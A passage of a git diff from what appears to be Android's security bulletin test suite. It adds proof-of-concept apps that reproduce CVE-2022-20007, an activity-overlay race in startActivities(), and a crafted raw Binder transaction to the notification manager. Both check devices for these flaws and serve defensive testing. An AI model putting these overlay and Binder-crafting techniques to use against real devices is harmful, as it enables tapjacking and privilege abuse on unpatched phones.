+ getResources().getString(R.string.passMessage));
+ }
+ }
+
+ int getTransactionCode(String methodName) {
+ int txCode = IBinder.FIRST_CALL_TRANSACTION;
+ String txName = INotificationManager.Stub
+ .getDefaultTransactionName(txCode);
+ if (txName == null) {
+ return -1;
+ }
+ while (txName != null && txCode <= IBinder.LAST_CALL_TRANSACTION) {
+ txName = INotificationManager.Stub
+ .getDefaultTransactionName(++txCode);
+ if (txName.equals(methodName)) {
+ break;
+ }
+ }
+ if (txName == null) {
+ return -2;
+ }
+ return txCode;
+ }
+
+ void createNotificationGroup(IBinder binder, int code) throws Exception {
+ String description = binder.getInterfaceDescriptor();
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ data.writeInterfaceToken(description);
+ data.writeString(this.getPackageName());
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ data.writeString(NotificationChannelGroup.class.getName());
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ data.writeByte((byte) getResources().getInteger(R.integer.setFlag));
+ data.writeString(getResources().getString(R.string.groupId));
+ TextUtils.writeToParcel(getResources().getString(R.string.group), data,
+ getResources().getInteger(R.integer.setFlag));
+ data.writeByte((byte) getResources().getInteger(R.integer.value));
+ data.writeInt(getResources().getInteger(R.integer.falseVal));
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ boolean val = (boolean) binder.transact(code, data, reply,
+ getResources().getInteger(R.integer.value));
+ if (!val) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getResources().getString(R.string.illegalCode));
+ }
+ reply.readException();
+ }
+
+ private void setResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(
+ getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
index 9f7ac84..731eac4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
@@ -23,7 +23,7 @@
android:label="CVE-2022-20007-Attacker"
android:supportsRtl="true">
<activity
- android:name=".PocActivity"
+ android:name=".PocAttackerActivity"
android:exported="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen">
</activity>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
similarity index 95%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
rename to hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
index ad87ea7..988517e 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
@@ -20,7 +20,7 @@
import android.os.Bundle;
import android.view.WindowManager;
-public class PocActivity extends Activity {
+public class PocAttackerActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp
similarity index 81%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp
index 50acd29..98d5962 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp
@@ -12,7 +12,6 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
*/
package {
@@ -20,18 +19,15 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2022-20007-Second",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
- static_libs: [
- "androidx.test.core",
- "androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
- ],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml
new file mode 100644
index 0000000..7880b0f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20007_second"
+ android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2022-20007-Second"
+ android:process="android.security.cts.CVE_2022_20007"
+ android:supportsRtl="true">
+ <activity
+ android:name=".SecondPocActivity"
+ android:exported="true">
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..d327e30
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml
new file mode 100644
index 0000000..e112bcd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="fail">1</integer>
+ <integer name="pass">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml
new file mode 100644
index 0000000..c20d81c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="resultKey2">result2</string>
+ <string name="sharedPreferences">SharedPreferences</string>
+ <string name="testAppPackage">android.security.cts.CVE_2022_20007</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java
new file mode 100644
index 0000000..867da1c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007_second;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+public class SecondPocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ setSharedPreferenes(getResources().getInteger(R.integer.fail));
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+ setSharedPreferenes(getResources().getInteger(R.integer.pass));
+ }
+
+ void setSharedPreferenes(int result) {
+ try {
+ Context testAppContext = createPackageContext(getString(R.string.testAppPackage),
+ Context.CONTEXT_IGNORE_SECURITY);
+ SharedPreferences sh = testAppContext.getSharedPreferences(
+ getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey2), result);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
index 713c0ed..0633c69 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
@@ -32,6 +32,7 @@
static_libs: [
"androidx.test.core",
"androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
index ea78d62..c5dd6b5 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
@@ -17,13 +17,15 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.security.cts.CVE_2022_20007"
+ android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid"
android:versionCode="1"
android:versionName="1.0">
<application
android:label="CVE-2022-20007"
+ android:process="android.security.cts.CVE_2022_20007"
android:supportsRtl="true">
<activity
- android:name=".PocActivity"
+ android:name=".FirstPocActivity"
android:exported="true">
</activity>
<activity
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
index 26b15c2..bdb3775 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
@@ -17,6 +17,9 @@
<resources>
<integer name="assumptionFailure">-1</integer>
- <integer name="pass">0</integer>
<integer name="fail">1</integer>
+ <integer name="pass">0</integer>
+ <integer name="permitCount">2</integer>
+ <integer name="threeActivities">3</integer>
+ <integer name="twoActivities">2</integer>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
index 1368bc2..e9910b7 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
@@ -17,14 +17,22 @@
<resources>
<string name="assumptionFailureMessage">
- Assumption failure occurred.
+ Assumption failure occurred. Bounds :
</string>
+ <string name="attackerActivity">PocAttackerActivity</string>
+ <string name="attackerPkg">android.security.cts.CVE_2022_20007_attacker</string>
+ <string name="boundsNotEqualMessage">Activity bounds are not equal</string>
+ <string name="dumpsysCmd">dumpsys activity %1$s</string>
<string name="failMessage">
Vulnerable to b/211481342!! Race Condition when startActivities() is invoked which can cause
- Not-Paused Background Activity
+ Not-Paused Background Activity. Bounds :
</string>
+ <string name="mBounds">mBounds</string>
<string name="messageKey">message</string>
- <string name="passMessage">Pass</string>
+ <string name="numActivities">numActivities</string>
<string name="resultKey">result</string>
+ <string name="resultKey2">result2</string>
+ <string name="secondActivity">SecondPocActivity</string>
+ <string name="secondPocAppPkg">android.security.cts.CVE_2022_20007_second</string>
<string name="sharedPreferences">SharedPreferences</string>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
index 925da1c..d4828b8 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
@@ -17,18 +17,22 @@
package android.security.cts.CVE_2022_20007;
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static org.junit.Assert.assertNotEquals;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assume.assumeNoException;
import static org.junit.Assume.assumeNotNull;
import static org.junit.Assume.assumeTrue;
-import android.content.ActivityNotFoundException;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -39,6 +43,13 @@
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
private Context mContext = getApplicationContext();
+ private UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+ private boolean mIsVulnerable = true;
+ private boolean mIsVulnerable2 = true;
+ private String mFirstPocActivityBounds = "";
+ private String mSecondPocActivityBounds = "";
+ private String mPocAttackerActivityBounds = "";
+ private SharedPreferences mSharedPrefs = null;
String getStringRes(int key) {
return mContext != null ? mContext.getResources().getString(key) : null;
@@ -48,44 +59,115 @@
return mContext != null ? mContext.getResources().getInteger(key) : null;
}
- @Test
- public void testRaceCondition() throws Exception {
- final long timeoutSec = 20L;
- assumeNotNull(mContext);
+ String getBounds(String activityName) throws Exception {
+ String output =
+ mDevice.executeShellCommand(mContext.getString(R.string.dumpsysCmd, activityName));
+ output = output.substring(output.indexOf(getStringRes(R.string.mBounds)),
+ output.indexOf(")", output.indexOf(getStringRes(R.string.mBounds))) + 1);
+ return output;
+ }
+
+ void launchMainActivity(int numActivities) {
final Intent intent = new Intent(mContext, PocMainActivity.class);
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ intent.putExtra(getStringRes(R.string.numActivities), numActivities);
+ mContext.startActivity(intent);
+ }
+
+ void checkResult(String key) {
+ int result = mSharedPrefs.getInt(key, getIntegerRes(R.integer.assumptionFailure));
+ assumeTrue(
+ getStringRes(R.string.assumptionFailureMessage) + mFirstPocActivityBounds + " "
+ + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+ result != getIntegerRes(R.integer.assumptionFailure));
+ assertFalse(
+ getStringRes(R.string.failMessage) + mFirstPocActivityBounds + " "
+ + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+ mIsVulnerable && result == getIntegerRes(R.integer.fail));
+ }
+
+ @Test
+ public void testRaceCondition() {
+ final long timeoutSec = 30L;
try {
- mContext.startActivity(intent);
- } catch (ActivityNotFoundException e) {
- assumeNoException(e);
- }
- SharedPreferences sharedPrefs = mContext.getSharedPreferences(
- getStringRes(R.string.sharedPreferences), Context.MODE_APPEND);
- assumeNotNull(sharedPrefs);
- final Semaphore preferenceChanged = new Semaphore(0);
- OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
- @Override
- public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
- if (key.equals(getStringRes(R.string.resultKey))) {
- if (sharedPreferences.getInt(key,
- getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
- R.integer.pass)) {
- preferenceChanged.release();
+ assumeNotNull(mContext);
+ launchMainActivity(getIntegerRes(R.integer.twoActivities));
+ mSharedPrefs = mContext.getSharedPreferences(getStringRes(R.string.sharedPreferences),
+ Context.MODE_APPEND);
+ assumeNotNull(mSharedPrefs);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ final Semaphore preferenceChanged2 = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(getStringRes(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key,
+ getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
+ R.integer.pass)) {
+ preferenceChanged.release();
+ mIsVulnerable = false;
+ }
+ } else if (key.equals(getStringRes(R.string.resultKey2))) {
+ if (sharedPreferences.getInt(key,
+ getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
+ R.integer.pass)) {
+ preferenceChanged2.release();
+ mIsVulnerable2 = false;
+ }
}
}
- }
- };
- sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
- try {
+ };
+ mSharedPrefs.registerOnSharedPreferenceChangeListener(listener);
preferenceChanged.tryAcquire(timeoutSec, TimeUnit.SECONDS);
- } catch (InterruptedException e) {
+
+ // Check if attacker activity is able to overlay victim activity
+ mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName());
+ String attackerActivityName = getStringRes(R.string.attackerPkg) + "/."
+ + getStringRes(R.string.attackerActivity);
+ mPocAttackerActivityBounds = getBounds(attackerActivityName);
+ Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds);
+ Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds);
+ boolean isValidConfiguration =
+ mFirstPocActivityBounds.equals(mPocAttackerActivityBounds);
+ if (isValidConfiguration) {
+ checkResult(getStringRes(R.string.resultKey));
+ } else {
+ // Device might have 2 task display areas. Detect vulnerability in this case.
+ mDevice.pressHome();
+ assumeTrue(mDevice.wait(Until.gone(By.pkg(mContext.getPackageName())), timeoutSec));
+ mIsVulnerable = true;
+ mIsVulnerable2 = true;
+ launchMainActivity(getIntegerRes(R.integer.threeActivities));
+ preferenceChanged.tryAcquire(getIntegerRes(R.integer.permitCount), timeoutSec,
+ TimeUnit.SECONDS);
+ preferenceChanged2.tryAcquire(timeoutSec, TimeUnit.SECONDS);
+
+ // check if attacker activity is able to overlay any of the victim activities
+ mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName());
+ String secondActivityName = getStringRes(R.string.secondPocAppPkg) + "/."
+ + getStringRes(R.string.secondActivity);
+ mSecondPocActivityBounds = getBounds(secondActivityName);
+ mPocAttackerActivityBounds = getBounds(attackerActivityName);
+ Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds);
+ Log.e("DeviceTest", "mSecondPocActivityBounds=" + mSecondPocActivityBounds);
+ Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds);
+ isValidConfiguration = mFirstPocActivityBounds.equals(mPocAttackerActivityBounds);
+ boolean isValidConfiguration2 =
+ mSecondPocActivityBounds.equals(mPocAttackerActivityBounds);
+ assumeTrue(
+ getStringRes(R.string.boundsNotEqualMessage) + mFirstPocActivityBounds + " "
+ + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+ isValidConfiguration || isValidConfiguration2);
+
+ if (isValidConfiguration) {
+ checkResult(getStringRes(R.string.resultKey));
+ } else {
+ checkResult(getStringRes(R.string.resultKey2));
+ }
+ }
+ } catch (Exception e) {
assumeNoException(e);
}
- int result = sharedPrefs.getInt(getStringRes(R.string.resultKey),
- getIntegerRes(R.integer.assumptionFailure));
- String message = sharedPrefs.getString(getStringRes(R.string.messageKey),
- getStringRes(R.string.assumptionFailureMessage));
- assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure));
- assertNotEquals(message, result, getIntegerRes(R.integer.fail));
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
similarity index 67%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java
rename to hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
index 038335e..c89986b 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
@@ -21,29 +21,35 @@
import android.content.SharedPreferences;
import android.os.Bundle;
-public class PocActivity extends Activity {
+public class FirstPocActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- setSharedPreferenes(getResources().getInteger(R.integer.fail),
- getString(R.string.failMessage));
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ setSharedPreferenes(getResources().getInteger(R.integer.fail));
}
@Override
protected void onPause() {
super.onPause();
- setSharedPreferenes(getResources().getInteger(R.integer.pass),
- getString(R.string.passMessage));
+ setSharedPreferenes(getResources().getInteger(R.integer.pass));
}
- void setSharedPreferenes(int result, String message) {
- SharedPreferences sh =
- getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
- SharedPreferences.Editor edit = sh.edit();
- edit.putInt(getString(R.string.resultKey), result);
- edit.putString(getString(R.string.messageKey), message);
- edit.commit();
+ void setSharedPreferenes(int result) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception here
+ }
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
index 7a4e841..94de7f0 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
@@ -17,7 +17,6 @@
package android.security.cts.CVE_2022_20007;
import android.app.Activity;
-import android.content.ActivityNotFoundException;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -30,30 +29,48 @@
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- launchAttack();
- }
-
- public void launchAttack() {
- String testPkgName = getPackageName();
- final Intent coverIntent = new Intent();
- coverIntent.setComponent(new ComponentName("android.security.cts.CVE_2022_20007_attacker",
- "android.security.cts.CVE_2022_20007_attacker.PocActivity"));
- coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION |
- Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
- final Intent victimIntent = new Intent(PocMainActivity.this, PocActivity.class);
- victimIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
- Intent[] intents = {victimIntent, coverIntent};
try {
- startActivities(intents);
- } catch (ActivityNotFoundException e) {
- SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
- Context.MODE_PRIVATE);
- SharedPreferences.Editor edit = sh.edit();
- edit.putInt(getString(R.string.resultKey),
- getResources().getInteger(R.integer.assumptionFailure));
- edit.putString(getString(R.string.messageKey),
- getString(R.string.assumptionFailureMessage));
- edit.commit();
+ String testPkgName = getPackageName();
+ final Intent coverIntent = new Intent();
+ coverIntent.setComponent(new ComponentName(getString(R.string.attackerPkg),
+ getString(R.string.attackerPkg) + "." + getString(R.string.attackerActivity)));
+ coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NEW_TASK
+ | Intent.FLAG_ACTIVITY_MULTIPLE_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ final Intent victimIntent = new Intent(PocMainActivity.this, FirstPocActivity.class);
+ victimIntent
+ .setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ int numActivities = getIntent().getIntExtra(getString(R.string.numActivities),
+ /* default */ getResources().getInteger(R.integer.twoActivities));
+ if (numActivities == getResources().getInteger(R.integer.twoActivities)) {
+ Intent[] intents = {victimIntent, coverIntent};
+ startActivities(intents);
+ } else {
+ final Intent secondVictimIntent = new Intent();
+ secondVictimIntent.setComponent(new ComponentName(
+ getString(R.string.secondPocAppPkg), getString(R.string.secondPocAppPkg)
+ + "." + getString(R.string.secondActivity)));
+ secondVictimIntent.setFlags(
+ Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ startActivity(victimIntent);
+
+ // wait to prevent both the victim activities from getting launched on same display
+ Thread.sleep(5000);
+ Intent[] intents2 = {secondVictimIntent, coverIntent};
+ startActivities(intents2);
+ }
+ } catch (Exception e) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey),
+ getResources().getInteger(R.integer.assumptionFailure));
+ edit.putString(getString(R.string.messageKey),
+ getString(R.string.assumptionFailureMessage));
+ edit.commit();
+ } catch (Exception ex) {
+ // ignore exception here
+ }
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/Android.bp
similarity index 87%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20112/Android.bp
index 09297b2..cf3b7e2 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/Android.bp
@@ -20,12 +20,12 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2022-20112",
defaults: [
- "cts_defaults",
+ "cts_support_defaults"
],
srcs: [
- "src/**/*.java",
+ "src/**/*.java"
],
test_suites: [
"sts",
@@ -33,7 +33,6 @@
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
